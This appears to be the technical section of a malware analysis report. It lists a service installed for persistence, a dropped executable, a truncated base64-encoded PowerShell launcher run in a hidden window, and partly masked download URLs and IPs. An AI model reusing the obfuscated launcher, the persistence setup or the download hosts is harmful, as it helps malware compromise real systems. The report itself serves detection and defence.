Technical Information
- [<HKLM>\System\CurrentControlSet\Services\DDORes] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\DDORes] 'ImagePath' = '"%WINDIR%\SysWOW64\AtBroker\DDORes.exe"'
- 'DDORes' "%WINDIR%\SysWOW64\AtBroker\DDORes.exe"
- 'DDORes' %WINDIR%\SysWOW64\AtBroker\DDORes.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiAC...
- %HOMEPATH%\679.exe
- %WINDIR%\syswow64\atbroker\ddores.exe
- from %HOMEPATH%\679.exe to %WINDIR%\syswow64\atbroker\ddores.exe
- '20#.#35.10.215':80
- http://ye###ner.com/old/iyv0hf8926444/
- http://20#.#35.10.215/Pbb1sdPI/v4RQTC33b/kUfX30PSlRpBRMRPgQ/Ro8gsTU/lbsFeRezCWlxHzJL/
- DNS ASK ye###ner.com
- '%HOMEPATH%\679.exe'
- '%WINDIR%\syswow64\atbroker\ddores.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiAC...' (with hidden window)